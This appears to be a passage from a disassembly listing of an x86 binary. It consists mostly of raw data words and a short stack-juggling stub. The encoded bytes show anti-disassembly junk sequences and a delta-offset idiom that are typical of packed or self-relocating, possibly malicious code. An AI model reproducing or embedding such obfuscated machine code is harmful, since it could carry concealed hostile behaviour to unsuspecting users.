		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 912D1EC3h, 0E800Fh, 9E90000h, 52000000h
		dd 72D56E0Fh, 0E97480D9h, 139185FFh, 8D8907E0h,	7E02C91h
		dd 1391B5FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 11E9C0C3h, 62000000h, 0FF9D13F0h
		dd 0A5479CC7h, 175F1FFFh, 37696F20h, 18A995FFh,	8D0907E0h
		dd 7E0153Dh, 5BD2990h, 6A07E01Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 88A9C356h
		dd 899C3179h, 0C830Fh, 85890000h, 7E033F1h, 4D3EF81h, 0BF660B8Dh
		dd 0BD8BC496h, 7E001C9h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0EC35242h, 0B4B7E8BAh, 33003E3Eh, 0E020B1BDh
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 30EAA87Fh, 6A1CDEh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 42515BC3h, 0E395A8B0h
		dd 8D894581h, 7E01571h,	855B58Bh, 6A07E0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 2E7BA3C3h
		dd 0DFF83371h, 333DBD8Bh, 7E807E0h, 8F000000h, 92EAF28Fh
		dd 8E0F209Ch, 6, 2FB1B58Bh, 0F98B07E0h,	0F767E95Eh, 0BF0FFFFFh
		dd 598D89FAh, 8B07E02Ch, 50006AC1h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0EB88C9A3h, 4,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 2F299FA2h, 5DBD8BF5h, 8D07E01Ch, 0E013C985h,	57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0A03EDEC2h, 1DF5C71Eh, 0F8A0Fh, 0AE90000h, 7B000000h
		dd 6FBDFCB8h, 0F33985ACh, 0BF66906Fh, 0BF5066B0h, 0AFC8BEDh
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0FE38BFD0h, 0B52BE380h, 7E00031h, 1201B58Bh
		dd 6A07E0h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Bh,	28C35040h, 20F8DE34h, 0E86D46C6h, 0Ah, 9DFD344h
		dd 0AF4DA9BAh, 6A5FE294h, 9E800h, 0A7570000h, 0FC0FD0D3h
		dd 0B6605AAh, 0E01971B5h, 858D5F07h, 7E4220Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 7BC35747h, 7F6036EDh
		dd 95897093h, 7E00701h,	105C083h, 0E026E185h, 8B665007h
		dd 240489FAh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	0A8C35646h, 676B446Dh, 6A006Ah,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0E30EEEC3h
		dd 151D1870h, 6AE3F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0ABC35343h, 1348FBEFh, 1753455h, 0E028AD85h
		dd 4195FF07h, 0BF07E034h, 75CBDB13h, 3890Fh, 8B660000h
		dd 939D8DF2h, 6A07E3A3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0E938C355h,	0FF7E53F4h
		dd 0B9B58BD3h, 0FF07E026h, 0E020FD85h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 0DC2A4253h, 0E919FEE3h, 75Ch, 0E8h, 0ED815D00h, 7E42215h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C9C35141h
		dd 0BD81F928h, 7E01391h, 7D0h, 0EA860Fh, 9D8B0000h, 7E020E9h
		dd 6680D781h, 0E3813E33h, 100h,	3345BD8Bh, 0DB0B07E0h
		dd 8B850Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 160424h, 55450000h, 8970DAC3h, 2005BD83h, 0F0007E4h
		dd 1184h, 0AABE6600h, 62E961h, 9600000h, 0E012A59Dh, 85C76107h
		dd 7E42005h, 1,	0C810Fh, 8B0F0000h, 6, 0ED9BCF81h, 8166517Ah
		dd 0E97793DEh, 34h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0AC35747h, 530F785h, 958953B4h, 7E0141Dh
		dd 585C75Fh, 7E420h, 0F9000000h, 20E99D8Dh, 6A07E0h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 814FEEC3h, 0FFFEFF23h, 5840FFFh, 0BE000000h,	187CBCDBh
		dd 66DB8C66h, 0B921C781h, 0F04C3F6h, 4184h, 0E995FF00h
		dd 6A07E01Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0A965C357h, 0EE95066h,	0D4000000h
		dd 0EFF2B25Fh, 76588218h, 41A9C64Dh, 2404892Ah,	10C58D89h
		dd 0ADE907E0h, 6A000003h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 1506C351h, 9E937E0h
		dd 0D4000000h, 16BB1478h, 4A2D81FBh, 0B50300B0h, 7E023F1h
		dd 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0F7AA06C3h, 9E39266Fh, 3FBE168Ch,	0E47FC7E0h
		dd 0AE971h, 766B0000h, 199FD24Eh, 1142F860h, 89D8B60Fh
		dd 0E02C25B5h, 61B58B07h, 0BA07E01Dh, 6, 8BFE8B66h, 12E9C3h
		dd 0ADA60000h, 0A9D0DD9Bh, 467D8C7Bh, 14CF82Ah,	7EE82B4Eh
		dd 0C1F6BF0Fh, 0F76604E8h, 52006AE2h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 4269D01Dh
		dd 0FB8BE9D8h, 6AD82Bh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0CB43B9C3h, 0DD98589h, 895007E0h
		dd 8D89241Ch, 7E01899h,	1391B5FFh, 6A07E0h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8908C3h
		dd 7E00209h, 18A995FFh,	6A07E0h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0B0EFC3h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B8C35242h, 12C1AE4Ah
		dd 1D6C4072h, 0E470E6C1h, 50006A71h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 2FD9EB78h
		dd 85312CB3h, 7E00DF9h,	615B523h, 613C07E0h, 206830Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0FFC23C3h, 6AD8B6h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 5E0DE1C3h, 0CE8h, 0E0583C00h
		dd 0F2B5F2D0h, 6B2147A8h, 5DBD31C2h, 5F07E007h,	6BAh, 0DBD8B00h
		dd 8B07E02Fh, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 944ADE36h, 6604E8C1h, 0D345C681h
		dd 89E2F766h, 0E022F58Dh, 8BD82B07h, 0E025CDBDh, 8D315807h
		dd 7E015FDh, 880FD82Bh,	15Ch, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 61C35040h, 0C6FF9689h, 0D2F4E2CBh
		dd 7B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 9212217Ch, 860F4C54h, 5, 0A4647EBFh
		dd 0C1830Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	48C35040h, 3E2379AAh, 95295E56h, 7E02FA9h, 860FD93Bh
		dd 0D4h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0C6C35141h, 0EAC0DE8Ch,	6BE4B718h, 0DEBF0F60h
		dd 0D98C6661h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0DDC35646h, 4490B3F3h, 8C6CA16Ch, 0F04C1F6h, 6384h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0EBA2B1B4h, 0FF485A5Bh, 0E01AE995h
		dd 5E907h, 0CC450000h, 5B90A78Eh, 6914BE66h, 26B19D89h
		dd 0C32B07E0h, 11BACE81h, 343D2AE1h, 0F000008h,	1386h
		dd 1FC6000h, 0E02E6DBDh, 1DE96107h, 50000000h, 5EF78B66h
		dd 11E9C08Bh, 0CD000000h, 0CA5A0DA5h, 5087D206h, 43440580h
		dd 0A700564h, 0D88BC38Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 58C35141h, 7A6F1B2Dh,	185C778h, 9D07E01Eh
		dd 6A7F35FBh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 5A06C357h, 2D019D95h, 1A85FCAh
		dd 0E006BD8Dh, 50C08B07h, 19B1E4BEh, 0BD815E71h, 7E01391h
		dd 7D0h, 5F850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 2F74AEC3h, 23E97164h
		dd 89B5892Eh, 0E008D985h, 9185FF07h, 6A07E013h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 6515C352h, 28A058FCh, 2E7163D3h, 20F1B58Bh, 0BF0F07E0h
		dd 91B5FFF6h, 6607E013h, 95FFF08Bh, 7E018A9h, 0AE8h, 2AEFF400h
		dd 0DAF0D347h, 89BFD70Eh, 0E031318Dh, 89905E07h, 0E0195D9Dh
		dd 0A1BD8B07h, 6A07E025h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 2732C351h, 0DFF1A057h
		dd 219D89C7h, 6A07E01Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 68C9C353h, 0FF92B2Dh
		dd 8D89FBBFh, 7E01B09h,	0F5F08B66h, 8ADBD8Bh, 0B6007E0h
		dd 0E01ADDBDh, 558D8B07h, 6107E013h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0BDC35141h,	64C65EB8h, 0EA03719Eh
		dd 9CCABFD9h, 6A2FCBh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 17A914C3h, 820F0FFAh, 2Dh, 8F0F60h
		dd 80000000h, 8166A1E4h, 613F13CAh, 11E8h, 6DFECF00h, 0B116C14Ah
		dd 13A84EECh, 13A289B5h, 0B58B1177h, 7E02A61h, 0ADFBBF5Fh
		dd 6A149Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 75CEE2C3h, 1DBD897Dh, 5207E014h, 0B9A528BEh
		dd 11BD8B6Ah, 5E07E00Eh, 0FFF8B3E9h, 0AE9FFh, 3FDE0000h
		dd 863A02E8h, 0D64CB7F0h, 880FC18Bh, 6,	2C89BD8Bh, 5E5207E0h
		dd 4EBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h,	44810424h
		dd 1C0424h, 51410000h, 0B2E113C3h, 0DC840794h, 0F38BA4F5h
		dd 12E8h, 14522300h, 0B0A3795h,	87BEEE18h, 1E5F50CCh, 29631CC4h
		dd 0E031E59Dh, 6A5F07h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 86C289C3h, 0B70147C8h, 0C9858D27h
		dd 6A07E013h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 29EAC357h, 0E000B5B5h,	4895007h
		dd 10E924h, 0BABE0000h,	4CE165B8h, 0F2001058h, 3ACBFE05h
		dd 6AE6D5h, 6A5F53h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0BAC35242h, 66E27A39h, 858DF78Bh, 7E42B4Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 19C35545h
		dd 0BDCFD19Ch, 0E7135270h, 0EE8160A4h, 332F1E1Ah, 3AD08166h
		dd 0C0836172h, 41B58B05h, 9007E01Ch, 9050FE8Bh,	5E8h, 549F3700h
		dd 6E97FFBh, 0F000000h,	0F104ECC7h, 870F5F7Bh, 1Ah, 0EE8h
		dd 0C4EF6E00h, 0FB28A1Fh, 0F27E78CEh, 29CF8663h, 0E0112D8Dh
		dd 6A5F07h, 860Fh, 6A0000h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0DBC35545h, 46F9E4BDh, 5EBC9CEEh, 4195FFA2h
		dd 8D07E034h, 0E3A3939Dh, 0F7816607h, 0FFF8C70Ah, 0A9BD8BD3h
		dd 0FF07E010h, 0E020FD85h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0DAFBD1B0h
		dd 9054F27h, 6860Fh, 95890000h,	7E01D1Dh, 816E9h, 0E800h
		dd 815D0000h, 0E42B56EDh, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0EE95414h
		dd 3D000000h, 0A469AAD8h, 0D7E55712h, 334BEC5Ch, 91BD81BAh
		dd 0D007E013h, 0F000007h, 15986h, 0FE900h, 0EB650000h
		dd 9D83B334h, 0DBF164AFh, 2009E5E9h, 759D8BA1h,	6A07E014h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0BF3AC350h, 0C8313BBh, 100E381h, 0BD8B0000h
		dd 7E0188Dh, 0CE8h, 1ADA9400h, 0E32F099Ah, 34B76823h, 0B5FF56Fh
		dd 8E850FDBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 4B66C356h, 0F6D38DFDh
		dd 0F9958934h, 8307E02Eh, 0E4297EBDh, 840F0007h, 22h, 5EE9h
		dd 178E0F00h, 0E8000000h, 11h, 37BC435Ch, 0D5BFE32Bh, 7A12949h
		dd 0A1FF670Bh, 85C75FFDh, 7E4297Eh, 1, 0E9FB8B66h, 2Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 8FC35141h
		dd 79BD8E42h, 1CC061Ch,	7E85C7CEh, 7E429h, 8D000000h, 0E014759Dh
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 6F6351EAh, 2FE99D29h, 238107E0h,	0FFFFFEFFh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 65C35040h
		dd 1CF5BD8Bh, 840F07E0h, 6, 1209B50Bh, 8C6607E0h, 52006ADBh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0ADCDA452h, 0F04C3F6h, 7784h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0E995FF5Bh
		dd 6A07E01Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 21D5C351h, 0CE9h, 215B6800h, 6204C7B7h
		dd 0E5CF89D8h, 489509Fh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8D89834Eh, 7E0141Dh, 3F7E9h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 0B893273Eh, 0A1F0C024h, 0F18B2E08h, 0DF60E681h
		dd 0B02B4Dh, 3D53BF66h,	6A70E6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 4A60BBC3h, 0E4F6BF0Fh
		dd 0D8B60F71h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	25C35545h, 0C781E80Eh, 3CC0A947h, 6BAh,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0EB6062BCh, 6AC38BE1h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8960C357h, 0E02CED85h
		dd 4E8C107h, 66FBBF0Fh,	6AE2F7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 2EB427C3h, 213D3854h
		dd 0FCD82B81h, 0BE95050h, 0C000000h, 75FB9A9Ch,	3D7B2818h
		dd 895E98B2h, 8A0F241Ch, 19h, 10E8h, 0CCF34800h, 0FDE3F1FCh
		dd 749BFE55h, 5793B41Ah, 0F1B70F5Ch, 91B5FF5Fh,	0F07E013h
		dd 95FFFEB7h, 7E018A9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0C2C35343h, 0C6B52EB7h, 0EE81FAC1h, 1C8CB78Ch
		dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0ED5FB5C3h, 6DB4BCD2h, 8B92BAD8h,	6A70E6F1h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 1C43C357h, 2371E4B0h, 0E01D61B5h,	0F613C07h
		dd 23B83h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1A04h, 0C3504000h, 9842A979h, 0FA293D1h, 6AD8B6h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0E3458C3h, 6BA1B09h,	89000000h, 0E02C6D8Dh, 56C38B07h
		dd 6663D681h, 0C15F713Ch, 6A04E8h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0FF9FC8C3h, 0E2F766F5h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1DC35747h
		dd 34CE13CBh, 0D82B8714h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 53C35646h, 78B3BB5Fh,	0D8DE146Dh, 6A5815h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0C5603CC3h, 59BD03BEh, 2B07E005h, 45880FD8h,	6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8B89C356h, 5BD29F9h, 0B907E01Eh, 7, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8AC35747h, 0D11621D8h
		dd 32374D21h, 0C1836Ch,	109BF66h, 860FD93Bh, 0E8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0DBC35646h, 0AB99B6F7h
		dd 50EEB2C3h, 0BA666021h, 9509C797h, 7E01885h, 0D98C6661h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 2AC35747h
		dd 0FE9h, 32D41600h, 0C9604BBh,	0FE9AB1FCh, 26F83472h
		dd 0F04C1F6h, 7384h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0B761E00Fh, 3E5B3F87h
		dd 0D59D899Bh, 0FF07E028h, 0E01AE995h, 9D295007h, 7E02381h
		dd 0B5335B5Eh, 7E02371h, 0E8B941BFh, 2BC32B45h,	0E020A9BDh
		dd 0FFB70F07h, 8343Dh, 19860F00h, 0F000000h, 8166F1B7h
		dd 0E9F557C6h, 14h, 68E0Fh, 85890000h, 7E01549h, 0BD8BC08Bh
		dd 7E006E5h, 0D88BC38Bh, 0FBF8BE66h, 20E985C7h,	53B307E0h
		dd 0BD311CF8h, 7E01B21h, 840FC08Bh, 4, 13D0BE66h, 1391BD81h
		dd 7D007E0h, 850F0000h,	48h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0D5C35747h,	8D895BEAh, 7E01AE5h
		dd 5FEF8166h, 0FFF08BEFh, 0E0139185h, 12E907h, 0AFA20000h
		dd 0DB0685F3h, 710FFBC4h, 7CA11C22h, 67981805h,	1391B5FFh
		dd 0FE907E0h, 0E8000000h, 27C63317h, 36E8B32Bh,	9A0FDEB5h
		dd 95FF9F6Ch, 7E018A9h,	4079EE81h, 6A9042E0h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 63EEC357h, 77ABCD62h, 6AF78Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 217CDDC3h, 6DBD8B12h
		dd 3107E014h, 0E02E5585h, 0FE8B6607h, 0AB9F7CBEh, 198B0F06h
		dd 0E8000000h, 10h, 39D93DE0h, 4869269Fh, 0BD657C81h, 0BDA8689Eh
		dd 5EF08B66h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	33C35646h, 6A2EA3h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 798675C3h, 0E94C3257h
		dd 10h,	0B21FFC52h, 0D159C7B2h,	0C68FA362h, 8642D75Bh
		dd 0E88493BEh, 11E849h,	5380000h, 183FCECCh, 50710DF2h
		dd 531DF64Ah, 56A0BE71h, 19419D01h, 880F07E0h, 0
		dd 35FFC5Fh, 0E021ADB5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0E0E37E4Bh, 0EDBC0F5h
		dd 0BD8B5E06h, 7E02891h, 0FFF7F0E9h, 0DBD89FFh,	0E907E02Fh
		dd 15h,	1154DAFAh, 4 dup(0)
		dd 56BE900h, 0C9B10000h, 3C23F50Fh, 0B3986A84h,	260FE1FBh
		dd 0A082546Eh, 4E77CCE6h, 233DF7D9h, 99B36D51h,	122CE4C7h
		dd 86A05A40h, 1998BBA6h, 6521D66Eh, 452B59F3h, 0A688868Bh
		dd 1A00D2ECh, 775D5B60h, 1655B8BDh, 0BAA0BEF3h,	3FF9DD29h
		dd 150F1568h, 0FE71762Eh, 0CD1AB3DFh, 0D09B4924h, 49F855CAh
		dd 1175866Fh, 0F5FB1978h, 0D5CCD17Ch, 35EFD5CFh, 230AE41Bh
		dd 79B97712h, 832E4DE5h, 0B9F81B7Eh, 0C529BA6Dh, 0C7C1C772h
		dd 0D6152CE4h, 0BA6DFEB3h, 1F257829h, 5008EBBDh, 0AF694D4Bh
		dd 719DB4AAh, 681ECE2Ch, 0DED7DB03h, 30766845h,	0B10E8389h
		dd 0E0C58467h, 2C637D28h, 0ACB16952h, 0E610B85Ch, 9B460943h
		dd 454B05E9h, 0A6AB654Bh, 0D0E10443h, 0A629BA4Fh, 0A40A4D53h
		dd 0F729BA4Fh, 57555A12h, 43B6BB75h, 456EB10Eh,	2561BF14h
		dd 4E5434BBh, 3Ah, 84452B98h, 0EDE4E9A1h, 0B9F63D42h, 6F29BAA0h
		dd 5F8BE13Eh, 785434EAh, 1, 85442BC2h, 0EAE1E69Eh, 553C3A3Fh
		dd 0B19A989Dh, 4C81F4F9h, 6BEA5F7h, 7A341AECh, 87C66660h
		dd 0BAA14D64h, 0D2D62929h, 42F5264Bh, 0C5BFC55Bh, 0E61229E3h
		dd 0DCC06834h, 0B2AE1E22h, 0E0DE2B31h, 0EB2A41F9h, 0B9BAE9C8h
		dd 3C429529h, 550FF1EFh, 476B5250h, 0B9BA8D24h,	0EB96E929h
		dd 0F29D96E6h, 0C89437A7h, 8DD02DE2h, 81CB2871h, 94CBE59Fh
		dd 1419D1BAh, 0CC846B1Dh, 0D0CAD0C7h, 3F1930EAh, 0A79EA35Dh
		dd 715654A1h, 0F758B4B9h, 0B416449Ah, 91415434h, 8B000000h
		dd 23492Bh, 29BAA0B1h, 0B8CF7ACDh, 0FFB99F79h, 0A90803FAh
		dd 0D529BAA0h, 312F7C82h, 1C8F944Ch, 5E408AE7h,	0D6B88AA4h
		dd 3019171Ch, 0CC177378h, 0ABFB7DA0h, 7258DF38h, 92070DB8h
		dd 0BCB3DF3Dh, 71DC5434h, 0E9000000h, 696F290Fh, 8F492B47h
		dd 0FE3E4C78h, 0B2DDEF30h, 7E615FACh, 4D70AFC6h, 29BA0F64h
		dd 2C15C71Ah, 23216E74h, 807E833Dh, 0E1DFE49Eh,	463D42FAh
		dd 0FE48A566h, 0D1B7621Ch, 9375C71Ch, 1496C2D9h, 4C3D2E70h
		dd 0FEF85A60h, 878C442Bh, 0BAA16E40h, 924A2D29h, 0EEA68F8Dh
		dd 4B05EBE9h, 0AE6F4F46h, 0B4E50E51h, 0EAC5015Fh, 1EE5434h
		dd 38000000h, 0A287462Bh, 4045FFE3h, 0A2999E49h, 0EF4F2F7h
		dd 2C594F54h, 0E8A085D7h, 0C17EA2CEh, 69486BAAh, 1529BAA1h
		dd 702A10C2h, 8DCC0B6Ah, 0BAA1476Ah, 4D702F29h,	29BAA164h
		dd 51CC71Ah, 0BAA0CFE2h, 4E54A729h, 5A9F5F0Bh, 987F592Eh
		dd 493CDCE0h, 350DA252h, 0B8BD102Fh, 36DE2955h,	0D0A3C050h
		dd 362D32ECh, 0A58B858Bh, 19FFD1EBh, 9C135A5Fh,	0FF21DA2Ah
		dd 5D5B6018h, 0C5BBC078h, 12F83B98h, 7751005Dh,	0DCD6DC94h
		dd 4B253CF6h, 0B1A8AD67h, 917749ABh, 0EED4D2D7h, 878C442Dh
		dd 0E6EBA589h, 829944EFh, 0FCB2C3A8h, 7EE24EE8h, 0F7444AF5h
		dd 3AE9468Fh, 0DAA4A00Eh, 0ABB1DD26h, 0F711CBB1h, 0D464ED19h
		dd 1040653h, 0D1500000h, 0B6D9F04Fh, 2E5A8720h,	9F573C96h
		dd 0BF1EFF4h, 7F653751h, 4C6FAEC5h, 21DA7B65h, 0A68EF8E4h
		dd 0AE85DC02h, 0A08555Bh, 14536A24h, 0DA8BC0F1h, 765CB621h
		dd 0BE0B11BCh, 66B00D56h, 0CEACC680h, 53D4FF90h, 3FBBh
		dd 4ED10500h, 15FED8EFh, 0D5F8575Dh, 56455DFCh,	3E182F82h
		dd 0A69DA25Ch, 0A50C53A0h, 0C8A9BAA1h, 1B06AA07h, 0F1E0031Ah
		dd 4DD6455Eh, 0CFA9E0FAh, 652E32EAh, 0DD3ACF31h, 7B5D878Dh
		dd 0F3000000h, 0D9F04FD1h, 5AA4E4B6h, 2075A2Eh,	4A641E04h
		dd 0EBD19278h, 3A818631h, 21DA9C92h, 38EF44F9h,	9CDBD6F9h
		dd 50A321DAh, 0B06A504Ah, 89A66A96h, 8E0A4F72h,	1844267Eh
		dd 43DE57D0h, 245256C5h, 0DB36468Dh, 11648389h,	697DA90Ch
		dd 35FF41EDh, 0E2C8C2C8h, 3C252328h, 9B817F84h,	903BF3DAh
		dd 0EFA98D8Bh, 97CCF3EAh, 204DF73Ah, 32F11FC3h,	2561F81Bh
		dd 8ADD2E5Ah, 87C67670h, 0BAA14D64h, 0D0D62929h, 82B947Ch
		dd 29BAA0A9h, 0C0D782D5h, 7C1A781h, 919BBE01h, 0A0F32E5Eh
		dd 0FDB79D9Bh, 4A6DACE3h, 21D66E67h, 0BCB6BC0Fh, 0B4171CD6h
		dd 8B385D88h, 1F62FB4Ch, 0B5A6AA05h, 0FF424849h, 37260FBEh
		dd 0C5EB3E8h, 5CDE1326h, 0DB4FAF0h, 90764862h, 2F6ED1D6h
		dd 65B4A50Ch, 5812F618h, 2B855C53h, 0DAE08B45h,	3A3FF7E0h
		dd 53475A3Ch, 0ECF7FBAEh, 92909540h, 0C1EDF2ACh, 0B660A300h
		dd 0A37D3489h, 2FC02BAh, 7648621Ch, 0A3D1D690h,	3, 2B662439h
		dd 86848943h, 0E3E1E6A0h, 45434800h, 0A4A2A761h, 50308C2h
		dd 66646923h, 0C2C0C57Dh, 222025DDh, 6D7E833Bh,	81E18951h
		dd 4C1h, 4E98300h, 8B240C87h, 9A682424h, 89000030h, 8956243Ch
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 2404895Ch, 0E4338668h
		dd 46685F07h, 89000006h, 4812424h, 424h, 0EC835800h, 24148904h
		dd 8BAh, 89C20100h, 48B5A3Ah
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_554887
; ---------------------------------------------------------------------------
		dd 46D6809h, 3874B8D0h,	0C50307E4h, 0E82AE0FFh,	0C4B37BA3h
		dd 0CBB97B9Bh, 5692589Dh, 0C18B632Eh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 8EC35242h, 0CCF2516Bh, 9D09E5CDh
		dd 7E031A9h, 4EBh, 0BE660000h, 6A08B9h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8D29DDC3h
		dd 7E01831h, 800Fh, 858D0000h, 7E013C9h, 0B4C7BE66h, 0D18B6090h
